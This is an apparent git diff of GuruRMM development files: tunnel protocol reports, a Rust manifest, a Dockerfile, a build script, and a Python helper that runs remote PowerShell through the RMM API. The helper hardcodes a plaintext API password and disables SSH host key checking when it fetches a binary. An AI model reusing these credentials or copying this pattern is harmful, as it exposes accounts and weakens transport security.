||||
- d28a1c90-47d7-448f-a287-197bc8892234 (AD2, Windows 10)
|
||||
- 6177bcac-e046-4166-ac76-a6db68a363ab (Mikes-MacBook-Air.local, macOS)
|
||||
- 8cd0440f-a65c-4ed2-9fa8-9c6de83492a4 (gururmm, Linux)
|
||||
- 0b2527cc-ab3f-49d9-9a06-bfd0b4a613a7 (DESKTOP-0O8A1RL, Windows 11)
|
||||
|
||||
## Summary
|
||||
|
||||
### Working Correctly
|
||||
- [OK] Authentication system
|
||||
- [OK] Input validation (UUID format checking)
|
||||
- [OK] Authorization checks (JWT required)
|
||||
- [OK] Agent connectivity validation
|
||||
- [OK] Session ownership verification
|
||||
- [OK] Proper HTTP status codes
|
||||
- [OK] Database schema (migration 010 applied successfully)
|
||||
- [OK] Foreign key constraints
|
||||
- [OK] Unique constraints (prevent duplicate active sessions)
|
||||
|
||||
### Not Tested (Requires Online Agent)
|
||||
- [ ] Successful tunnel session creation
|
||||
- [ ] Successful tunnel session closure
|
||||
- [ ] Session status retrieval for active session
|
||||
- [ ] WebSocket communication to agent
|
||||
- [ ] Duplicate session detection (409 Conflict)
|
||||
- [ ] Tunnel audit logging
|
||||
|
||||
### Next Steps
|
||||
1. Start an agent on a test machine
|
||||
2. Test successful tunnel/open flow
|
||||
3. Verify database session creation
|
||||
4. Test tunnel/status retrieval
|
||||
5. Test tunnel/close flow
|
||||
6. Verify tunnel_audit logging
|
||||
7. Test duplicate session prevention
|
||||
|
||||
### HTTP Status Code Summary
|
||||
- 200 OK: Successful operations (not tested yet)
|
||||
- 400 Bad Request: Invalid UUID formats [WORKING]
|
||||
- 401 Unauthorized: Missing/invalid JWT [WORKING]
|
||||
- 403 Forbidden: Session ownership issues [WORKING]
|
||||
- 404 Not Found: Agent not connected [WORKING]
|
||||
- 409 Conflict: Duplicate active session (not tested)
|
||||
- 500 Internal Server Error: Database errors (not triggered)
|
||||
|
||||
## Conclusion
|
||||
All Phase 1 tunnel endpoints are implemented correctly with proper:
|
||||
- Input validation
|
||||
- Authentication/authorization
|
||||
- Error handling
|
||||
- HTTP status codes
|
||||
- Database schema
|
||||
|
||||
The API is ready for Phase 2 testing with live agents.
|
||||
@@ -1,319 +0,0 @@
|
||||
# GuruRMM Tunnel - Phase 1 Agent Implementation
|
||||
|
||||
**Date:** 2026-04-14
|
||||
**Status:** COMPLETED
|
||||
**Component:** Agent (Rust)
|
||||
|
||||
---
|
||||
|
||||
## Summary
|
||||
|
||||
Successfully implemented Phase 1 of the GuruRMM real-time tunnel feature on the agent side. The agent now supports mode switching between Heartbeat and Tunnel modes, handles tunnel lifecycle messages, and is ready for Phase 2 terminal command execution.
|
||||
|
||||
---
|
||||
|
||||
## Implementation Details
|
||||
|
||||
### 1. Protocol Extensions
|
||||
|
||||
**File:** `agent/src/transport/mod.rs`
|
||||
|
||||
Added new message types to `AgentMessage` enum:
|
||||
- `TunnelReady { session_id: String }` - Confirmation that tunnel is ready
|
||||
- `TunnelData { channel_id: String, data: TunnelDataPayload }` - Bidirectional tunnel data
|
||||
- `TunnelError { channel_id: String, error: String }` - Error reporting
|
||||
|
||||
Added new message types to `ServerMessage` enum:
|
||||
- `TunnelOpen { session_id: String, tech_id: Uuid }` - Server request to open tunnel
|
||||
- `TunnelClose { session_id: String }` - Server request to close tunnel
|
||||
- `TunnelData { channel_id: String, data: TunnelDataPayload }` - Bidirectional tunnel data
|
||||
|
||||
Added `TunnelDataPayload` enum (Phase 1: Terminal only):
|
||||
- `Terminal { command: String }` - Terminal command request
|
||||
- `TerminalOutput { stdout: String, stderr: String, exit_code: Option<i32> }` - Terminal response
|
||||
|
||||
### 2. Tunnel Manager Module
|
||||
|
||||
**File:** `agent/src/tunnel/mod.rs` (NEW)
|
||||
|
||||
Created comprehensive tunnel state management:
|
||||
|
||||
**AgentMode enum:**
|
||||
```rust
|
||||
pub enum AgentMode {
|
||||
Heartbeat, // Default: 30s heartbeats, metrics, network monitoring
|
||||
Tunnel {
|
||||
session_id: String,
|
||||
tech_id: Uuid,
|
||||
channels: HashMap<String, ChannelType>,
|
||||
},
|
||||
}
|
||||
```
|
||||
|
||||
**TunnelManager struct:**
|
||||
- `open_tunnel()` - Transition from Heartbeat to Tunnel mode
|
||||
- `close_tunnel()` - Transition back to Heartbeat mode
|
||||
- `add_channel()` - Register new channel (terminal, file, etc.)
|
||||
- `remove_channel()` - Cleanup channel
|
||||
- `force_close()` - Emergency cleanup on disconnect
|
||||
|
||||
**Channel types (extensible for future phases):**
|
||||
- `Terminal` - Command execution (Phase 1)
|
||||
- `File` - File operations (Phase 2+)
|
||||
- `Registry` - Registry operations (Phase 2+)
|
||||
- `Service` - Service management (Phase 2+)
|
||||
|
||||
### 3. WebSocket Integration
|
||||
|
||||
**File:** `agent/src/transport/websocket.rs`
|
||||
|
||||
Updated WebSocket client to support tunnel operations:
|
||||
|
||||
**New handler functions:**
|
||||
- `handle_tunnel_open()` - Process TunnelOpen request, send TunnelReady
|
||||
- `handle_tunnel_close()` - Process TunnelClose request, cleanup state
|
||||
- `handle_tunnel_data()` - Route tunnel data by channel (Phase 1: placeholder)
|
||||
|
||||
**Message loop updates:**
|
||||
- Created `TunnelManager` instance in connection lifecycle
|
||||
- Updated `handle_server_message()` signature to accept tunnel manager
|
||||
- Added tunnel message logging (TunnelReady, TunnelData, TunnelError)
|
||||
- Force-close tunnel on WebSocket disconnect
|
||||
|
||||
**Mode persistence:**
|
||||
- Tunnel state maintained across message loop iterations
|
||||
- Heartbeat continues in both modes (connection keepalive)
|
||||
- Clean shutdown closes active sessions
|
||||
|
||||
### 4. Module Registration
|
||||
|
||||
**File:** `agent/src/main.rs`
|
||||
|
||||
Added tunnel module to module tree:
|
||||
```rust
|
||||
mod tunnel;
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Testing
|
||||
|
||||
### Unit Tests
|
||||
|
||||
Created comprehensive test suite in `agent/src/tunnel/mod.rs`:
|
||||
|
||||
**Test: `test_tunnel_lifecycle`**
|
||||
- Starts in Heartbeat mode
|
||||
- Opens tunnel successfully
|
||||
- Rejects concurrent tunnel sessions
|
||||
- Closes tunnel and returns to Heartbeat mode
|
||||
|
||||
**Test: `test_channel_management`**
|
||||
- Rejects channel operations without active tunnel
|
||||
- Adds multiple channels
|
||||
- Retrieves channel types
|
||||
- Removes channels
|
||||
- Force-closes tunnel
|
||||
|
||||
**Test Results:**
|
||||
```
|
||||
running 2 tests
|
||||
test tunnel::tests::test_tunnel_lifecycle ... ok
|
||||
test tunnel::tests::test_channel_management ... ok
|
||||
|
||||
test result: ok. 2 passed; 0 failed; 0 ignored
|
||||
```
|
||||
|
||||
### Compilation
|
||||
|
||||
**Status:** SUCCESSFUL
|
||||
|
||||
**Warnings (expected, non-critical):**
|
||||
- `tech_id` field unused (will be used in Phase 2 for authorization)
|
||||
- Some enum variants unused (File, Registry, Service - Phase 2+)
|
||||
- Some methods unused (mode accessors - used in Phase 2)
|
||||
|
||||
---
|
||||
|
||||
## Protocol Flow
|
||||
|
||||
### Tunnel Open
|
||||
```
|
||||
Server → Agent: TunnelOpen { session_id, tech_id }
|
||||
Agent: tunnel_manager.open_tunnel()
|
||||
Agent → Server: TunnelReady { session_id }
|
||||
```
|
||||
|
||||
### Tunnel Close
|
||||
```
|
||||
Server → Agent: TunnelClose { session_id }
|
||||
Agent: tunnel_manager.close_tunnel()
|
||||
```
|
||||
|
||||
### Terminal Command (Phase 1 - Placeholder)
|
||||
```
|
||||
Server → Agent: TunnelData {
|
||||
channel_id: "...",
|
||||
data: Terminal { command: "..." }
|
||||
}
|
||||
Agent: Log command (execution in Phase 2)
|
||||
Agent → Server: TunnelData {
|
||||
channel_id: "...",
|
||||
data: TerminalOutput {
|
||||
stdout: "",
|
||||
stderr: "Not implemented",
|
||||
exit_code: Some(-1)
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Connection Loss
|
||||
```
|
||||
WebSocket disconnect detected
|
||||
Agent: tunnel_manager.force_close()
|
||||
Agent: Cleanup tasks, return to heartbeat mode
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Key Features
|
||||
|
||||
### Mode Switching
|
||||
- Clean transition between Heartbeat and Tunnel modes
|
||||
- Single active tunnel per agent (prevents session conflicts)
|
||||
- Tunnel state persists across message loop iterations
|
||||
|
||||
### Channel Multiplexing
|
||||
- HashMap-based channel routing by `channel_id`
|
||||
- Extensible channel types (Terminal, File, Registry, Service)
|
||||
- Channel lifecycle management (add, remove, cleanup)
|
||||
|
||||
### Error Handling
|
||||
- Validates session IDs on close requests
|
||||
- Rejects concurrent tunnel sessions
|
||||
- Sends TunnelError messages for failures
|
||||
- Force-close on unexpected disconnect
|
||||
|
||||
### Logging
|
||||
- Info-level: Tunnel open/close, mode transitions
|
||||
- Debug-level: Channel operations, TunnelData routing
|
||||
- Warn-level: Errors, rejected operations
|
||||
|
||||
---
|
||||
|
||||
## Files Modified
|
||||
|
||||
1. `agent/src/transport/mod.rs` - Protocol message definitions
|
||||
2. `agent/src/transport/websocket.rs` - WebSocket tunnel integration
|
||||
3. `agent/src/main.rs` - Module registration
|
||||
4. `agent/src/tunnel/mod.rs` - NEW: Tunnel manager implementation
|
||||
|
||||
---
|
||||
|
||||
## Next Steps (Phase 2)
|
||||
|
||||
### Terminal Command Execution
|
||||
|
||||
**Implementation required in `handle_tunnel_data()`:**
|
||||
|
||||
1. Parse `TunnelDataPayload::Terminal { command }`
|
||||
2. Spawn process using `tokio::process::Command`
|
||||
3. Capture stdout/stderr streams
|
||||
4. Handle exit codes and timeouts
|
||||
5. Send `TunnelDataPayload::TerminalOutput` response
|
||||
|
||||
**Considerations:**
|
||||
- Shell selection (PowerShell, cmd, bash based on OS)
|
||||
- Working directory restrictions (security)
|
||||
- Timeout enforcement (prevent hung processes)
|
||||
- Error handling (process spawn failures, permission errors)
|
||||
|
||||
### Integration Testing
|
||||
|
||||
**Manual testing with server:**
|
||||
1. Deploy updated agent to test machine
|
||||
2. Server sends TunnelOpen via WebSocket
|
||||
3. Verify TunnelReady response
|
||||
4. Send Terminal command
|
||||
5. Verify TerminalOutput response (Phase 2)
|
||||
6. Server sends TunnelClose
|
||||
7. Verify graceful cleanup
|
||||
|
||||
---
|
||||
|
||||
## Compliance with Architecture Plan
|
||||
|
||||
**Alignment with `plans/real-time-tunnel-architecture.md`:**
|
||||
|
||||
- [OK] AgentMode state machine (Heartbeat ↔ Tunnel)
|
||||
- [OK] Channel routing by channel_id
|
||||
- [OK] TunnelOpen/TunnelClose lifecycle
|
||||
- [OK] TunnelReady confirmation message
|
||||
- [OK] TunnelDataPayload enum (Phase 1: Terminal only)
|
||||
- [OK] Heartbeat maintained in tunnel mode
|
||||
- [OK] Force-close on disconnect
|
||||
- [OK] Unit tests for state machine
|
||||
- [PENDING] Terminal command execution (Phase 2)
|
||||
- [PENDING] File operations (Phase 3)
|
||||
- [PENDING] MCP server integration (Phase 4)
|
||||
|
||||
---
|
||||
|
||||
## Known Limitations
|
||||
|
||||
1. **Terminal execution not implemented** - Phase 1 only handles protocol and state management. Actual command execution is Phase 2.
|
||||
|
||||
2. **No working directory restrictions** - Security layer for path validation will be added in Phase 2.
|
||||
|
||||
3. **Single tunnel per agent** - By design, prevents session conflicts. Multi-tech sessions deferred to future enhancement.
|
||||
|
||||
4. **No channel-level timeouts** - Will be added in Phase 2 with actual command execution.
|
||||
|
||||
---
|
||||
|
||||
## Security Notes
|
||||
|
||||
**Implemented:**
|
||||
- Session validation (session_id matching on close)
|
||||
- Single tunnel enforcement (rejects concurrent sessions)
|
||||
- Clean state transitions (no lingering channels)
|
||||
|
||||
**Pending (Phase 2+):**
|
||||
- Command sanitization (injection prevention)
|
||||
- Working directory allowlist
|
||||
- Rate limiting (server-side)
|
||||
- Audit logging (server-side)
|
||||
|
||||
---
|
||||
|
||||
## Performance Impact
|
||||
|
||||
**Memory:**
|
||||
- `TunnelManager`: ~200 bytes (enum + HashMap overhead)
|
||||
- Active per connection, deallocated on disconnect
|
||||
- Negligible impact on heartbeat mode
|
||||
|
||||
**CPU:**
|
||||
- Mode checks: O(1) enum match
|
||||
- Channel routing: O(1) HashMap lookup
|
||||
- No continuous tasks in tunnel mode
|
||||
- Heartbeat continues at 30s interval (unchanged)
|
||||
|
||||
**Network:**
|
||||
- TunnelReady: Single message on tunnel open (~100 bytes)
|
||||
- Heartbeat continues in tunnel mode (no change)
|
||||
- TunnelData: Variable (depends on command output in Phase 2)
|
||||
|
||||
---
|
||||
|
||||
## Conclusion
|
||||
|
||||
Phase 1 agent implementation is **complete and tested**. The agent can now:
|
||||
- Switch between Heartbeat and Tunnel modes
|
||||
- Handle TunnelOpen/TunnelClose lifecycle
|
||||
- Route tunnel messages by channel_id
|
||||
- Maintain connection integrity in both modes
|
||||
|
||||
Ready for Phase 2: Terminal command execution implementation.
|
||||
|
||||
**Status:** READY FOR SERVER INTEGRATION TESTING
|
||||
@@ -1,46 +0,0 @@
|
||||
import requests, json, time, sys
|
||||
|
||||
# Auth
|
||||
token_r = requests.post('http://172.16.3.30:3001/api/auth/login', json={
|
||||
'email': 'claude-api@azcomputerguru.com',
|
||||
'password': 'ClaudeAPI2026!@#'
|
||||
})
|
||||
token = token_r.json()['token']
|
||||
headers = {'Authorization': 'Bearer ' + token, 'Content-Type': 'application/json'}
|
||||
agent_id = 'd28a1c90-47d7-448f-a287-197bc8892234'
|
||||
|
||||
def send_cmd(cmd, timeout=120, wait=20):
|
||||
r = requests.post(
|
||||
'http://172.16.3.30:3001/api/agents/' + agent_id + '/command',
|
||||
headers=headers,
|
||||
json={'command_type': 'powershell', 'command': cmd, 'timeout_seconds': timeout}
|
||||
)
|
||||
data = r.json()
|
||||
print('Sent:', data.get('status', 'error'), data.get('message', ''))
|
||||
cmd_id = data['command_id']
|
||||
time.sleep(wait)
|
||||
r2 = requests.get('http://172.16.3.30:3001/api/commands/' + cmd_id, headers=headers)
|
||||
d = r2.json()
|
||||
print('Status:', d['status'])
|
||||
print('stdout:', d.get('stdout', ''))
|
||||
stderr = d.get('stderr', '') or ''
|
||||
if stderr:
|
||||
print('stderr:', stderr[:500])
|
||||
print('exit_code:', d.get('exit_code'))
|
||||
return d
|
||||
|
||||
# First, check what transfer tools are available on AD2
|
||||
print("=== Checking available tools ===")
|
||||
d = send_cmd("Get-Command scp,ssh,curl -ErrorAction SilentlyContinue | Select-Object Name,Source | Format-Table -AutoSize", wait=10)
|
||||
|
||||
print("\n=== Trying SCP from AD2 to RMM server ===")
|
||||
# Use scp with StrictHostKeyChecking=no for automated transfer
|
||||
cmd = (
|
||||
"scp -o StrictHostKeyChecking=no -o UserKnownHostsFile=NUL "
|
||||
"guru@172.16.3.30:/tmp/gururmm-agent-new.exe C:/Temp/gururmm-agent-new.exe 2>&1; "
|
||||
"if (Test-Path C:/Temp/gururmm-agent-new.exe) { "
|
||||
" $f = Get-Item C:/Temp/gururmm-agent-new.exe; "
|
||||
" Write-Output ('File size: ' + $f.Length.ToString() + ' bytes') "
|
||||
"} else { Write-Output 'File not found after SCP' }"
|
||||
)
|
||||
d = send_cmd(cmd, wait=30)
|
||||
Binary file not shown.
|
Before Width: | Height: | Size: 89 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 139 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 54 KiB |
@@ -1,101 +0,0 @@
|
||||
#!/bin/bash
|
||||
# GuruRMM - Build and Push to Gitea Container Registry
|
||||
#
|
||||
# Usage: ./scripts/build-and-push.sh [version]
|
||||
# Example: ./scripts/build-and-push.sh 0.1.0
|
||||
#
|
||||
# Prerequisites:
|
||||
# - Docker installed and running
|
||||
# - Logged into Gitea registry: docker login git.azcomputerguru.com
|
||||
|
||||
set -e
|
||||
|
||||
# Configuration
|
||||
REGISTRY="git.azcomputerguru.com"
|
||||
OWNER="azcomputerguru" # Your Gitea username/org
|
||||
PROJECT="gururmm"
|
||||
VERSION="${1:-latest}"
|
||||
|
||||
# Image names
|
||||
SERVER_IMAGE="${REGISTRY}/${OWNER}/${PROJECT}-server"
|
||||
DASHBOARD_IMAGE="${REGISTRY}/${OWNER}/${PROJECT}-dashboard"
|
||||
|
||||
# Colors for output
|
||||
RED='\033[0;31m'
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
NC='\033[0m' # No Color
|
||||
|
||||
echo -e "${GREEN}========================================${NC}"
|
||||
echo -e "${GREEN}GuruRMM Build & Push Script${NC}"
|
||||
echo -e "${GREEN}========================================${NC}"
|
||||
echo ""
|
||||
echo -e "Registry: ${YELLOW}${REGISTRY}${NC}"
|
||||
echo -e "Version: ${YELLOW}${VERSION}${NC}"
|
||||
echo ""
|
||||
|
||||
# Navigate to project root
|
||||
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||
PROJECT_ROOT="$(dirname "$SCRIPT_DIR")"
|
||||
cd "$PROJECT_ROOT"
|
||||
|
||||
# Check if logged into registry
|
||||
echo -e "${YELLOW}Checking registry authentication...${NC}"
|
||||
if ! docker login "${REGISTRY}" --get-login &>/dev/null; then
|
||||
echo -e "${RED}Not logged into ${REGISTRY}${NC}"
|
||||
echo "Please run: docker login ${REGISTRY}"
|
||||
exit 1
|
||||
fi
|
||||
echo -e "${GREEN}Registry authentication OK${NC}"
|
||||
echo ""
|
||||
|
||||
# Build server image
|
||||
echo -e "${YELLOW}Building server image...${NC}"
|
||||
docker build \
|
||||
-t "${SERVER_IMAGE}:${VERSION}" \
|
||||
-t "${SERVER_IMAGE}:latest" \
|
||||
-f server/Dockerfile \
|
||||
./server
|
||||
|
||||
echo -e "${GREEN}Server image built successfully${NC}"
|
||||
echo ""
|
||||
|
||||
# Build dashboard image (if it exists)
|
||||
if [ -f "dashboard/Dockerfile" ]; then
|
||||
echo -e "${YELLOW}Building dashboard image...${NC}"
|
||||
docker build \
|
||||
-t "${DASHBOARD_IMAGE}:${VERSION}" \
|
||||
-t "${DASHBOARD_IMAGE}:latest" \
|
||||
-f dashboard/Dockerfile \
|
||||
./dashboard
|
||||
echo -e "${GREEN}Dashboard image built successfully${NC}"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
# Push images
|
||||
echo -e "${YELLOW}Pushing server image...${NC}"
|
||||
docker push "${SERVER_IMAGE}:${VERSION}"
|
||||
docker push "${SERVER_IMAGE}:latest"
|
||||
echo -e "${GREEN}Server image pushed${NC}"
|
||||
|
||||
if [ -f "dashboard/Dockerfile" ]; then
|
||||
echo -e "${YELLOW}Pushing dashboard image...${NC}"
|
||||
docker push "${DASHBOARD_IMAGE}:${VERSION}"
|
||||
docker push "${DASHBOARD_IMAGE}:latest"
|
||||
echo -e "${GREEN}Dashboard image pushed${NC}"
|
||||
fi
|
||||
|
||||
echo ""
|
||||
echo -e "${GREEN}========================================${NC}"
|
||||
echo -e "${GREEN}Build and push complete!${NC}"
|
||||
echo -e "${GREEN}========================================${NC}"
|
||||
echo ""
|
||||
echo "Images pushed:"
|
||||
echo " - ${SERVER_IMAGE}:${VERSION}"
|
||||
echo " - ${SERVER_IMAGE}:latest"
|
||||
if [ -f "dashboard/Dockerfile" ]; then
|
||||
echo " - ${DASHBOARD_IMAGE}:${VERSION}"
|
||||
echo " - ${DASHBOARD_IMAGE}:latest"
|
||||
fi
|
||||
echo ""
|
||||
echo "To deploy on Jupiter, use the docker-compose in deploy/jupiter/"
|
||||
@@ -1,76 +0,0 @@
|
||||
[package]
|
||||
name = "gururmm-server"
|
||||
version = "0.2.0"
|
||||
edition = "2021"
|
||||
description = "GuruRMM Server - RMM management server"
|
||||
authors = ["GuruRMM"]
|
||||
|
||||
[dependencies]
|
||||
# Web framework
|
||||
axum = { version = "0.7", features = ["ws", "macros"] }
|
||||
axum-extra = { version = "0.9", features = ["typed-header"] }
|
||||
tower = { version = "0.5", features = ["util", "timeout"] }
|
||||
tower-http = { version = "0.6", features = ["cors", "trace", "compression-gzip"] }
|
||||
http = "1"
|
||||
|
||||
# Async runtime
|
||||
tokio = { version = "1", features = ["full"] }
|
||||
|
||||
# Database
|
||||
sqlx = { version = "0.8", features = [
|
||||
"runtime-tokio",
|
||||
"tls-native-tls",
|
||||
"postgres",
|
||||
"uuid",
|
||||
"chrono",
|
||||
"migrate"
|
||||
] }
|
||||
|
||||
# Serialization
|
||||
serde = { version = "1", features = ["derive"] }
|
||||
serde_json = "1"
|
||||
|
||||
# Configuration
|
||||
config = "0.14"
|
||||
|
||||
# Authentication
|
||||
jsonwebtoken = "9"
|
||||
argon2 = "0.5"
|
||||
|
||||
# UUID
|
||||
uuid = { version = "1", features = ["v4", "serde"] }
|
||||
|
||||
# Time
|
||||
chrono = { version = "0.4", features = ["serde"] }
|
||||
|
||||
# Logging
|
||||
tracing = "0.1"
|
||||
tracing-subscriber = { version = "0.3", features = ["env-filter"] }
|
||||
|
||||
# Error handling
|
||||
anyhow = "1"
|
||||
thiserror = "1"
|
||||
|
||||
# Random for API key generation
|
||||
rand = "0.8"
|
||||
base64 = "0.22"
|
||||
|
||||
# Hashing for API keys
|
||||
sha2 = "0.10"
|
||||
|
||||
# Semantic versioning for agent updates
|
||||
semver = "1"
|
||||
|
||||
# Environment variables
|
||||
dotenvy = "0.15"
|
||||
|
||||
# Futures for WebSocket
|
||||
futures-util = "0.3"
|
||||
|
||||
# Pin transitive dependencies to stable versions
|
||||
home = "0.5.9" # 0.5.12 requires Rust 1.88
|
||||
|
||||
[profile.release]
|
||||
opt-level = 3
|
||||
lto = true
|
||||
codegen-units = 1
|
||||
@@ -1,69 +0,0 @@
|
||||
# GuruRMM Server Dockerfile
|
||||
# Multi-stage build for minimal image size
|
||||
|
||||
# ============================================
|
||||
# Build Stage
|
||||
# ============================================
|
||||
FROM rust:1.85-alpine AS builder
|
||||
|
||||
# Install build dependencies
|
||||
RUN apk add --no-cache musl-dev openssl-dev openssl-libs-static pkgconfig
|
||||
|
||||
# Create app directory
|
||||
WORKDIR /app
|
||||
|
||||
# Copy manifests first for better caching
|
||||
COPY Cargo.toml Cargo.lock* ./
|
||||
|
||||
# Create dummy src to build dependencies
|
||||
RUN mkdir src && echo "fn main() {}" > src/main.rs
|
||||
|
||||
# Pin home crate to version compatible with Rust 1.85 (0.5.12 requires Rust 1.88)
|
||||
RUN cargo update home --precise 0.5.9
|
||||
|
||||
# Build dependencies only (this layer will be cached)
|
||||
RUN cargo build --release && rm -rf src target/release/deps/gururmm*
|
||||
|
||||
# Copy actual source code
|
||||
COPY src ./src
|
||||
COPY migrations ./migrations
|
||||
|
||||
# Build the actual application
|
||||
RUN cargo build --release
|
||||
|
||||
# ============================================
|
||||
# Runtime Stage
|
||||
# ============================================
|
||||
FROM alpine:3.19
|
||||
|
||||
# Install runtime dependencies
|
||||
RUN apk add --no-cache ca-certificates libgcc
|
||||
|
||||
# Create non-root user
|
||||
RUN addgroup -g 1000 gururmm && \
|
||||
adduser -u 1000 -G gururmm -s /bin/sh -D gururmm
|
||||
|
||||
# Create app directory
|
||||
WORKDIR /app
|
||||
|
||||
# Copy binary from builder
|
||||
COPY --from=builder /app/target/release/gururmm-server /app/gururmm-server
|
||||
|
||||
# Copy migrations (for runtime migrations)
|
||||
COPY --from=builder /app/migrations /app/migrations
|
||||
|
||||
# Set ownership
|
||||
RUN chown -R gururmm:gururmm /app
|
||||
|
||||
# Switch to non-root user
|
||||
USER gururmm
|
||||
|
||||
# Expose port
|
||||
EXPOSE 3001
|
||||
|
||||
# Health check (use 127.0.0.1 instead of localhost to avoid IPv6 issues)
|
||||
HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 \
|
||||
CMD wget --no-verbose --tries=1 --spider http://127.0.0.1:3001/health || exit 1
|
||||
|
||||
# Run the server
|
||||
CMD ["/app/gururmm-server"]
|
||||
@@ -1,435 +0,0 @@
|
||||
# GuruRMM Server - Agent Tunnel Protocol Update
|
||||
|
||||
## Summary
|
||||
Updated the server's WebSocket protocol to handle tunnel messages FROM the agent, completing the bidirectional tunnel communication.
|
||||
|
||||
**Status:** ✅ Complete - Code compiles successfully with no errors.
|
||||
|
||||
---
|
||||
|
||||
## Problem Statement
|
||||
|
||||
The agent was sending `TunnelReady`, `TunnelData`, and `TunnelError` messages, but the server's `AgentMessage` enum didn't have these variants. This would cause deserialization failures when agents attempted to send tunnel messages.
|
||||
|
||||
**Error that would occur:**
|
||||
```
|
||||
Error: Failed to deserialize agent message: unknown variant `tunnel_ready`
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Changes Made
|
||||
|
||||
### 1. Updated AgentMessage Enum
|
||||
**File:** `server/src/ws/mod.rs` (lines 80-91)
|
||||
|
||||
**Added three new variants:**
|
||||
|
||||
```rust
|
||||
pub enum AgentMessage {
|
||||
Auth(AuthPayload),
|
||||
Metrics(MetricsPayload),
|
||||
NetworkState(NetworkStatePayload),
|
||||
CommandResult(CommandResultPayload),
|
||||
WatchdogEvent(WatchdogEventPayload),
|
||||
UpdateResult(UpdateResultPayload),
|
||||
Heartbeat,
|
||||
// NEW: Tunnel messages from agent
|
||||
TunnelReady { session_id: String },
|
||||
TunnelData { channel_id: String, data: TunnelDataPayload },
|
||||
TunnelError { channel_id: String, error: String },
|
||||
}
|
||||
```
|
||||
|
||||
**Serialization format:**
|
||||
- Uses `#[serde(tag = "type", content = "payload")]` for tagged enum
|
||||
- Uses `#[serde(rename_all = "snake_case")]` for JSON field names
|
||||
- Matches agent's message format exactly
|
||||
|
||||
---
|
||||
|
||||
### 2. Added Message Handlers
|
||||
**File:** `server/src/ws/mod.rs` (in `handle_agent_message` function, after UpdateResult handler)
|
||||
|
||||
#### TunnelReady Handler
|
||||
```rust
|
||||
AgentMessage::TunnelReady { session_id } => {
|
||||
info!(
|
||||
"Agent {} tunnel ready: session_id={}",
|
||||
agent_id, session_id
|
||||
);
|
||||
|
||||
// Update session activity timestamp
|
||||
if let Err(e) = db::update_session_activity(&state.db, &session_id).await {
|
||||
error!(
|
||||
"Failed to update session activity for {}: {}",
|
||||
session_id, e
|
||||
);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**Purpose:**
|
||||
- Confirms agent received `TunnelOpen` and is ready
|
||||
- Updates `last_activity` timestamp in database
|
||||
- Logs successful tunnel establishment
|
||||
|
||||
**Future Enhancement (Phase 2):**
|
||||
- Could mark session status as "ready" (vs "active" but not ready)
|
||||
- Could notify waiting clients that tunnel is available
|
||||
|
||||
---
|
||||
|
||||
#### TunnelData Handler
|
||||
```rust
|
||||
AgentMessage::TunnelData { channel_id, data } => {
|
||||
debug!(
|
||||
"Received tunnel data from agent {}: channel_id={}, type={:?}",
|
||||
agent_id, channel_id, data
|
||||
);
|
||||
|
||||
// Phase 2: Forward data to connected clients via WebSocket or REST API
|
||||
// For now, just log the data
|
||||
match data {
|
||||
TunnelDataPayload::TerminalOutput { stdout, stderr, exit_code } => {
|
||||
if !stdout.is_empty() {
|
||||
debug!("Terminal stdout: {}", stdout.trim());
|
||||
}
|
||||
if !stderr.is_empty() {
|
||||
debug!("Terminal stderr: {}", stderr.trim());
|
||||
}
|
||||
if let Some(code) = exit_code {
|
||||
debug!("Terminal exit code: {}", code);
|
||||
}
|
||||
}
|
||||
TunnelDataPayload::Terminal { command } => {
|
||||
debug!("Terminal command echo: {}", command);
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**Purpose:**
|
||||
- Receives terminal output from agent
|
||||
- Logs output for debugging
|
||||
- **Placeholder for Phase 2:** Will forward to connected clients
|
||||
|
||||
**Phase 2 Implementation:**
|
||||
- Store output in database or in-memory buffer
|
||||
- Forward to WebSocket clients listening on this channel
|
||||
- Or provide REST endpoint to poll for output
|
||||
|
||||
---
|
||||
|
||||
#### TunnelError Handler
|
||||
```rust
|
||||
AgentMessage::TunnelError { channel_id, error } => {
|
||||
error!(
|
||||
"Tunnel error from agent {}: channel_id={}, error={}",
|
||||
agent_id, channel_id, error
|
||||
);
|
||||
|
||||
// Phase 2: Forward error to connected clients
|
||||
// For now, just log the error
|
||||
}
|
||||
```
|
||||
|
||||
**Purpose:**
|
||||
- Receives error messages from agent tunnel operations
|
||||
- Logs errors for monitoring and debugging
|
||||
- **Placeholder for Phase 2:** Will notify clients of errors
|
||||
|
||||
**Phase 2 Implementation:**
|
||||
- Forward error to connected clients
|
||||
- Mark channel as failed in database
|
||||
- Potentially close tunnel session on critical errors
|
||||
|
||||
---
|
||||
|
||||
## Message Flow
|
||||
|
||||
### Tunnel Lifecycle
|
||||
|
||||
**1. Open Tunnel (Server → Agent):**
|
||||
```
|
||||
Client HTTP Request → Server API → Database Insert
|
||||
↓
|
||||
Server WebSocket → Agent (TunnelOpen)
|
||||
```
|
||||
|
||||
**2. Tunnel Ready (Agent → Server):**
|
||||
```
|
||||
Agent (TunnelReady) → Server WebSocket → Database Update
|
||||
↓
|
||||
Log Success
|
||||
```
|
||||
|
||||
**3. Terminal Command (Phase 2):**
|
||||
```
|
||||
Client Request → Server (TunnelData/Terminal) → Agent
|
||||
↓
|
||||
Agent Executes Command
|
||||
↓
|
||||
Agent (TunnelData/TerminalOutput) → Server → Client
|
||||
```
|
||||
|
||||
**4. Error Handling:**
|
||||
```
|
||||
Agent Error → Agent (TunnelError) → Server → Log
|
||||
↓
|
||||
(Phase 2: Notify Client)
|
||||
```
|
||||
|
||||
**5. Close Tunnel:**
|
||||
```
|
||||
Client HTTP Request → Server API → Server (TunnelClose) → Agent
|
||||
↓
|
||||
Database Update
|
||||
```
|
||||
|
||||
**6. Agent Disconnect:**
|
||||
```
|
||||
Agent WebSocket Close → Server Cleanup → Database Close All Sessions
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Protocol Verification
|
